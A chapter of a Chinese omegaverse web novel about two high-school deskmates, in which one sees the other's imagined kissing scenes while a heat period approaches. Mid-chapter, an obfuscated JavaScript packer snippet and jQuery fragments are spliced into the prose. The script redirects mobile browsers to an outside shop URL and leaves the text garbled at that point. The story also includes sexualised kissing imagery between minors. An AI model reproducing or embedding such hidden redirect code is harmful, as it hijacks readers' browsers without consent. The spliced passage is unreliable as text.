【第十六章:不会吧不会吧,你不会不懂吧?】
事实证明,方应时确实是个变态。
到今天为止,林樗已经快要忘了那个遵纪守法光风霁月深得老师同学喜爱的班长长什么样了,毕竟,他的高中生活,除了平静无波的日常,就是方应时硬塞给他的脑补画面。
他都快习惯了,每天中午午休在方应时的脑补里牵个手,然后莫名其妙凑上来接个吻,仿佛真的约会了一样。
就,离谱。
现实里,他们明明是连话都不会说多说两句的同学——在不被拖出去玩的时候。
高中生嘛,特别是像他这样的高中生,能玩的时间也不多。
然后冬天过去了,春天来了。
到了高二下学期。
他们班又换了一次桌位。
令人震惊的是,他的位置没变,方应时的位置居然也没变。
他们还是同桌。
林樗觉得牛逼坏了,他不可置信的看着方应时,方应时还是弯着眼睛笑眯眯的,林樗忽然有种高中生涯不转学两人就会一直是同桌的错觉。
他想了想,对方应时说:“不愧是你。”
方应时很谦逊:“过奖过奖。”
林樗:“不是。真是你啊?!”
成为他前桌的赵宇飞转过头来:“什么什么?什么真的?什么是你?”
林樗:“……”
方应时:“……”
沈之清把同桌赵宇飞的头扭回来:“你问这么多干嘛?”
赵宇飞:“咦?这是不能问的吗?”
沈之清:“不。我的意思是,你不如想想,中午吃什么。”
赵宇飞:“嘶,确实马上要下课了啊!”
两人开始嘀嘀咕咕的商量中午吃什么。
林樗一脸麻木,心如死灰,然而三好学生方应时却忽然拿出手机,发了一条消息。
一秒钟,林樗的手机震了震。
林樗:“……”
林樗拿出手机看了一眼,上面写着:【你的发情期是不是快到了?】
林樗一愣,猛地摸向颈后。
Omega的发情期并不是每个月一次,毕竟每次要5~7天,每个月一次的话就没办法安心给资本家当牛做马了。每个omega的发情周期都是不一样的,短一点的是三四个月,长一点的是一年,而林樗自己,上一次出现发情症状是十一月初,到现在二月多,已经差不多过去四个月。
按道理来说,确实差不多到时间了。
林樗面无表情的发消息:【你怎么会知道?】
方应时:【感觉】
方应时:【你没有闻到自己的味道吗?】
林樗:【……】
方应时:【感觉我的易感期也要到了。】
林樗:【别碰瓷噢。】
林樗:【……你停一下,我们是能聊这种话题的关系了吗?】
课间的教室很吵闹,但是林樗清楚的听到了,坐在他旁边的方应时很低的轻笑了一声。
关于发情期是不是真的要到了,林樗其实心里很没底。他的情况特殊,几乎每个月都会被林见安女士带去医院做检查,最近一次是在开学前,医生看着报告单,看着报告单上越渐平稳的信息素,很诚挚的恭喜他,还很关心他有没有出意外,让他要是不小心被咬了一定要及时就医,不要强忍着。
毕竟他的alpha信息素接受范围很窄,忍着很容易出事。
林樗完全不会忍着,他甚至不会让自己出现这种问题。
他可是出门必贴两张隔离贴的omega!
他可是出门必装一针抑制剂的omega!
什么意外都不可能出现在他身上。
然后,他现实就给了他一榔头。
中午午休的时候,方应时脑补出来的约会画面变了,还是同一个教室同一个位置,还是同样的玩手和接吻,但是,不再是简单的碰一碰嘴唇,而是张开嘴探出舌尖。
林樗愣住,瞳孔骤然缩紧。
画面里,一瞬之间,年轻的alpha在omega颈边嗅了嗅,而后就像按捺不住内心的野兽一样,把omega摁在椅子上亲吻随之而下,舌尖撬开白齿,肆无忌惮的撷取掠夺,直到濡沫交融,不易察觉的银丝从唇角落出……
林樗:“……”
林樗:“…………”
林樗一帧一帧的转头看方应时,方应时露出适时的困惑:“怎么了?”然后又有点迟疑,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497990|202596||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你的耳朵好红呐,是哪里不舒服吗?我送你去医院?”
林樗当然没有哪里不舒服。
林樗磨了磨牙,冷笑着从课桌里掏出崭新的《数学奥林匹克丛书·高中》,随手翻开一页,挑了最难的一道题:“班长这道题怎么做?”
方应时:“……”
方应时看了看摆在面前随便抽出来的奥数题,又看了看物理成绩第一名的自己和数学成绩第一名的林樗,声音迟疑了:“问…我吗?”
林樗:“不会吧不会吧,你不会不懂吧?”
方应时:“…………”
方应时自然不太敢说不会,他只能提起笔拿起稿纸,开始算,算着算着,挤进林樗脑海里的旖旎画面消散了。
林樗又冷笑了一声,还治不了你了。
然后林樗获得了一个安静的午休,毕竟数学很诚实,不会就是不会。方应时算了一个午休,不会,很干脆利落的反过来请教,然后让林樗耗费了下午的课间时间和放学后的近半个小时。
是的,那是一道很难的题。
林樗不仅要自己算,还得用方应时能听懂的话讲解出来,就如同之前方应时给他讲物理一样。
讲完,林樗就蔫了。
方应时顺势提出一起回家,还顺便帮他提书包。
林樗:“……”
林樗不明白事情怎么变成这个样子。
林樗扭头走出教室。
两个人出了校门,刚好落日时分,如霞的光辉落到脚边,走过红绿灯刚好是一个奶茶店,两个女孩子手牵着手从店里说说笑笑的走出来,方应时问:“要不要吃冰淇淋?第二支半价。”
林樗:“?”
不是,冰淇淋这种东西也能第二支半价了吗?
没有第一时间反对,方应时脚步一拐走进店里,没几分钟又出来,递给他一支草莓冰淇淋。
林樗:“……这个草莓过不去了吗?”
方应时:“好吧,那你要我手里的巧克力吗?”
林樗:“我两个都不想要。”
方应时弯起眼睛开始微笑:“但是我一个人吃不完,会浪费的。”
林樗:“……”
行吧,人不能,至少不应该浪费食物。